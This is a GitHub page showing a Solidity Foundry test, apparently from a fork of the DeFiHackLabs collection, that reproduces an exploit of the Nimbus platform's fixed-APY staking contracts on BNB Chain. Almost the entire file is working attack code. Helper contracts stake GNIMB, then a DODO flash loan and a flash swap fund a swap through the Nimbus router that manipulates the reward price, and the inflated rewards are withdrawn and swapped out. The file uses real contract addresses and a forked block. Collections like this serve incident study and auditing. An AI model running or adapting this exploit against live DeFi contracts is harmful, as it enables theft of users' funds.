forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Nmbplatform_exp.sol
218 lines (191 loc) · 8.78 KB
/
Nmbplatform_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
// https://twitter.com/BlockSecTeam/status/1602877048124735489
// @TX
// https://bscscan.com/tx/0x7d2d8d2cda2d81529e0e0af90c4bfb39b6e74fa363c60b031d719dd9d153b012
// https://bscscan.com/tx/0x42f56d3e86fb47e1edffa59222b33b73e7407d4b5bb05e23b83cb1771790f6c1
interface NimbusBNB is IERC20 {
function deposit() external payable;
function withdraw(uint256 wad) external;
}
interface StakingRewardFixedAPY is IERC20 {
function stake(uint256 amount) external;
function getReward() external;
function withdraw() external;
function earned(address account) external view returns (uint256);
}
interface LockStakingRewardFixedAPY {
function stake(uint256 amount) external;
function getReward() external;
function earned(address account) external view returns (uint256);
}
contract ContractTest is Test {
IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
IERC20 GNIMB = IERC20(0x99C486b908434Ae4adF567e9990A929854d0c955);
IERC20 NIMB = IERC20(0xCb492C701F7fe71bC9C4B703b84B0Da933fF26bB);
NimbusBNB NBU_WBNB = NimbusBNB(0xA2CA18FC541B7B101c64E64bBc2834B05066248b);
Uni_Router_V2 NimbusRouter = Uni_Router_V2(0x2C6cF65f3cD32a9Be1822855AbF2321F6F8f6b24);
Uni_Pair_V2 Pair = Uni_Pair_V2(0xaCAac9311b0096E04Dfe96b6D87dec867d3883Dc);
StakingRewardFixedAPY stakingReward1 = StakingRewardFixedAPY(0x3aA2B9de4ce397d93E11699C3f07B769b210bBD5);
LockStakingRewardFixedAPY stakingReward2 = LockStakingRewardFixedAPY(0x706065716569f20971F9CF8c66D092824c284584);
LockStakingRewardFixedAPY stakingReward3 = LockStakingRewardFixedAPY(0xdEF57A7722D4411726ff40700Eb7b6876BEE7ECB);
address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
uint256 flashLoanAmount;
uint256 flashSwapAmount;
User1 public user1;
User2 public user2;
User3 public user3;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("bsc", 23_639_507);
}
function testExploit() public {
user1 = new User1();
user2 = new User2();
user3 = new User3();
NBU_WBNB.deposit{value: 20 ether}();
NBU_WBNB.transfer(address(user1), 16 ether);
NBU_WBNB.transfer(address(user2), 2 ether);
NBU_WBNB.transfer(address(user3), 2 ether);
user1.stake();
user2.stake();
user3.stake();
cheats.warp(block.timestamp + 8 * 24 * 60 * 60);
flashLoanAmount = WBNB.balanceOf(dodo);
DVM(dodo).flashLoan(flashLoanAmount, 0, address(this), new bytes(1));
emit log_named_decimal_uint(
"Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()
);
}
function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
flashSwapAmount = WBNB.balanceOf(address(Pair)) - 1e18;
Pair.swap(flashSwapAmount, 0, address(this), new bytes(1));
WBNB.transfer(dodo, flashLoanAmount);
}
function BiswapCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
payable(address(0)).transfer(address(this).balance);
WBNB.withdraw(WBNB.balanceOf(address(this)));
NBU_WBNB.deposit{value: address(this).balance}();
NBU_WBNB.approve(address(NimbusRouter), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(NBU_WBNB);
path[1] = address(NIMB);
NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
NBU_WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
); // Reward Price Manipulation
user1.getReward();
// GNIMB.transfer(address(stakingReward1), stakingReward1.balanceOf(address(user1)) - GNIMB.balanceOf(address(stakingReward1)));
// user1.withdraw();
GNIMB.transfer(
address(stakingReward2), stakingReward2.earned(address(user2)) - GNIMB.balanceOf(address(stakingReward2))
);
user2.getReward();
GNIMB.transfer(
address(stakingReward3), stakingReward3.earned(address(user3)) - GNIMB.balanceOf(address(stakingReward3))
);
user3.getReward();
NIMB.approve(address(NimbusRouter), type(uint256).max);
path[0] = address(NIMB);
path[1] = address(NBU_WBNB);
NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
NIMB.balanceOf(address(this)), 0, path, address(this), block.timestamp
);
GNIMBToNBU_WBNB();
NBU_WBNB.withdraw(NBU_WBNB.balanceOf(address(this)));
address(WBNB).call{value: address(this).balance}("");
WBNB.transfer(address(Pair), flashSwapAmount * 1000 / 998 + 1000);
}
function GNIMBToNBU_WBNB() internal {
GNIMB.approve(address(NimbusRouter), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(GNIMB);
path[1] = address(NBU_WBNB);
NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
GNIMB.balanceOf(address(this)), 0, path, address(this), block.timestamp
);
}
receive() external payable {}
}
contract User1 is Test {
address Owner;
IERC20 GNIMB = IERC20(0x99C486b908434Ae4adF567e9990A929854d0c955);
NimbusBNB NBU_WBNB = NimbusBNB(0xA2CA18FC541B7B101c64E64bBc2834B05066248b);
Uni_Router_V2 NimbusRouter = Uni_Router_V2(0x2C6cF65f3cD32a9Be1822855AbF2321F6F8f6b24);
StakingRewardFixedAPY stakingReward1 = StakingRewardFixedAPY(0x3aA2B9de4ce397d93E11699C3f07B769b210bBD5);
constructor() {
Owner = msg.sender;
}
function stake() external {
NBU_WBNB.approve(address(NimbusRouter), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(NBU_WBNB);
path[1] = address(GNIMB);
NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
NBU_WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
);
GNIMB.approve(address(stakingReward1), type(uint256).max);
stakingReward1.stake(GNIMB.balanceOf(address(this)));
}
function getReward() external {
deal(address(GNIMB), address(stakingReward1), 13_855_114 * 1e18);
stakingReward1.getReward();
GNIMB.transfer(Owner, GNIMB.balanceOf(address(this)));
}
// function withdraw() external{
// stakingReward1.withdraw();
// GNIMB.transfer(Owner, GNIMB.balanceOf(address(this)));
// }
}
contract User2 {
address Owner;
IERC20 GNIMB = IERC20(0x99C486b908434Ae4adF567e9990A929854d0c955);
NimbusBNB NBU_WBNB = NimbusBNB(0xA2CA18FC541B7B101c64E64bBc2834B05066248b);
Uni_Router_V2 NimbusRouter = Uni_Router_V2(0x2C6cF65f3cD32a9Be1822855AbF2321F6F8f6b24);
LockStakingRewardFixedAPY stakingReward2 = LockStakingRewardFixedAPY(0x706065716569f20971F9CF8c66D092824c284584);
constructor() {
Owner = msg.sender;
}
function stake() external {
NBU_WBNB.approve(address(NimbusRouter), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(NBU_WBNB);
path[1] = address(GNIMB);
NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
NBU_WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
);
GNIMB.approve(address(stakingReward2), type(uint256).max);
stakingReward2.stake(GNIMB.balanceOf(address(this)));
}
function getReward() external {
stakingReward2.getReward();
GNIMB.transfer(Owner, GNIMB.balanceOf(address(this)));
}
}
contract User3 {
address Owner;
IERC20 GNIMB = IERC20(0x99C486b908434Ae4adF567e9990A929854d0c955);
NimbusBNB NBU_WBNB = NimbusBNB(0xA2CA18FC541B7B101c64E64bBc2834B05066248b);
Uni_Router_V2 NimbusRouter = Uni_Router_V2(0x2C6cF65f3cD32a9Be1822855AbF2321F6F8f6b24);
LockStakingRewardFixedAPY stakingReward3 = LockStakingRewardFixedAPY(0xdEF57A7722D4411726ff40700Eb7b6876BEE7ECB);
constructor() {
Owner = msg.sender;
}
function stake() external {
NBU_WBNB.approve(address(NimbusRouter), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(NBU_WBNB);
path[1] = address(GNIMB);
NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
NBU_WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
);
GNIMB.approve(address(stakingReward3), type(uint256).max);
stakingReward3.stake(GNIMB.balanceOf(address(this)));
}
function getReward() external {
stakingReward3.getReward();
GNIMB.transfer(Owner, GNIMB.balanceOf(address(this)));
}
}